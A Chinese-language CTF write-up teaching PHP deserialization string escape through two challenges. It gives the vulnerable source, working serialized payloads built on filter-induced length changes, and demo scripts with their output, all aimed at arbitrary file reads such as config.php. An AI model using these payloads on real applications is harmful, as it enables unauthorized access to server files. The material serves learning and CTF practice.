PHP反序列化字符串逃逸實例詳解
通過CTF比賽瞭解PHP反序列化,記錄自己的學習。
借用哈大佬們的名言
任何具有一定結構的數據,如果經過瞭某些處理而把結構體本身的結構給打亂瞭,則有可能會產生漏洞。
0CTF 2016piapiapia—–反序列化後長度遞增
安詢杯2019-easy_serialize_php—–反序列化後長度遞減
0CTF 2016piapiapia
由於是代碼審計,直接訪問www.zip發現備份的源碼,有一下文件,flag就在config.php,因此讀取即可
class.php //主要有mysql類(mysql基本操作)和user類(繼承mysql實現功能點)
config.php //環境配置
index.php //登陸
profile.php //查看自己上傳的文件
register.php //註冊
update.php //文件上傳
源碼分析
然後分析代碼,我喜歡通過功能點來分析,既然有註冊,登陸,那麼自然來看看SQL咯,發現class.php中mysql類的filter過濾函數,過濾瞭增刪查改,基本無望.
後面就看看文件上傳,發現也對上傳的文件參數進行瞭限制,但是發現對文件進行瞭序列化處理,那麼肯定有反序列化,在profile.php中發現對上傳的文件進行反序列化處理,並對文件$profile[‘photo’]進行讀取.我們再回到文件上傳點,發現$profile[‘photo’] = ‘upload/’ . md5($file[‘name’]);,但是我們無法獲取加密後的文件值,後面有又看到文件上傳是先序列化,再進過filter函數替換一些關鍵字,再反序列化,因此文件可能發生改變,因此可能有漏洞
payload構造
我們知道,PHP反序列化時以;作為分隔點,}做為結束標志,根據長度來判斷讀取多少字符,我們無法控制$profile[‘photo’]但是可以控制nickname,而nickname又進行瞭長度限制,strlen函數卻無法處理數組,因此用數組進行繞過即可我們在這裡截斷,那麼後面的則會被廢棄不再讀取,而我們要構造的的payload是,最開始的”;}是為瞭閉合前面數組nickname的{,後面的;}是為瞭截斷,讓反序列化結束,不再讀取後面的內容,當然這些都不能是字符哈.
";}s:5:"photo";s:10:"config.php";}
這時構造瞭payload,那麼就要來計算溢出數量瞭,我們構造的payload長度為34,那麼就要增加34個長度,由於where變成hacker會增加一個長度,那麼我們就需要34個where,最終payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}
原理解析
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile = array( 'phone'=>'01234567890', 'email'=>'[email protected]', 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'), 'photo'=>'upload/'.md5('1.jpg') ); print_r(serialize($profile)); echo PHP_EOL; print_r(filter(serialize($profile))); echo PHP_EOL; var_dump(unserialize(filter(serialize($profile)))); echo PHP_EOL; ?>
輸出結果展示,最開始不用進過filter函數反序列化時,nickname數組的第一個值沒被截斷是一個整體wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;},剛好204個長度,經過filter過濾函數後,where變成瞭hacker,反序列化的長度變化瞭,但是又隻讀取204的長度,則s:5:”photo”;s:10:”config.php”;}”;}就多出來瞭,作為另一個反序列化的其中一個元素,而末尾的’}又不是字符,因此被認為反序列化結束瞭,後面的內容被丟棄,因此可以任意讀取文件.
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} array(4) { 'phone' => string(11) "01234567890" 'email' => string(15) "[email protected]" 'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } 'photo' => string(10) "config.php" }
安詢杯2019-easy_serialize_php
源碼
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file" rel="external nofollow" >source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
分析
源碼不多,我就習慣先通讀一遍再回溯可能出現的漏洞點,找可控參數.通讀完全發現可能存在的漏洞點:extract變量覆蓋,file_get_contents任意文件讀取.
將變量$userinfo[‘img’]逆推回去發現,是由參數img_path控制的,但是經過sha1加密,我們無法得知加密後內容,但結合前面的extract變量覆蓋,我們可以自己POST構造.
構造瞭之後,會經過序列化filter函數替換一些字符(那麼此時序列化後的數據則發生瞭變化,可能存在漏洞),再反序列化,讀取參數值.
payload構造
我們任然利用序列化,經過過濾後長度發生變化來構造payload,首先明白序列化後,有三個元素,分別是img,user,function,而我們能控制的隻有後面兩個,我們需要構造的payload是這樣的
f”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:3:”tql”;s:3:”tql”;}
但是不經任何改變則是這樣的
a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;s:10:”show_image”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
我還是利用截斷的思想不讓其讀取元素img的值,我們自己來構造這個值,隻有兩個參數,必須在function哪裡截斷,而這個反序列是長度遞減,那麼就是選擇元素吞噬(吞噬的長度自己酌情參考,一般是到自己能控制的點就好)後面的長度,來構造自己的payload咯,我們就選user元素吧,len(‘”;s:8:”function”;s:10:”‘)的長度為23,但是我們無法構造23個長度,我們可以多吞噬一個,24個字符,那麼就用6個flag就好,但是這樣後面的序列化就混亂瞭,我們就要添加自己的payload,並補全.雖然這樣補好瞭,但是隻有兩個元素,這裡需要三個元素,我們就再添加元素,並將後面的img進行截斷
a:3:{s:4:”user”;s:24:””;s:8:”function”;s:10:”show_image”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
a:3:{s:4:”user”;s:24:””;s:8:”function”;s:2:”22″;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
截斷隻需}即可,並且不為讀取的字符即可,因此添加f”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:3:”tql”;s:3:”tql”;},這裡我們新增瞭一個元素,因此吞噬後function元素消失瞭,隨便補充好元素即可.
原理解析
<?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $arr = array( "user"=>"flagflagflagflagflagflag", "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}', //"user"=>'guest', //"function"=>'show_image', "img"=>sha1(base64_encode('guest_img.png')) ); print_r(serialize($arr)); echo PHP_EOL; print_r(filter(serialize($arr))); echo PHP_EOL; print_r(unserialize(filter(serialize($arr)))); ?>
輸出展示
a:3:{s:4:”user”;s:24:”flagflagflagflagflagflag”;s:8:”function”;s:62:”2″;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:3:”tql”;s:3:”tql”;}”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
a:3:{s:4:”user”;s:24:””;s:8:”function”;s:62:”2″;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:3:”tql”;s:3:”tql”;}”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
Array
(
[user] => “;s:8:”function”;s:62:”2
[img] => ZDBnM19mMWFnLnBocA==
[tql] => tql
)
總結
到此這篇關於PHP反序列化字符串逃逸的文章就介紹到這瞭,更多相關PHP反序列化內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!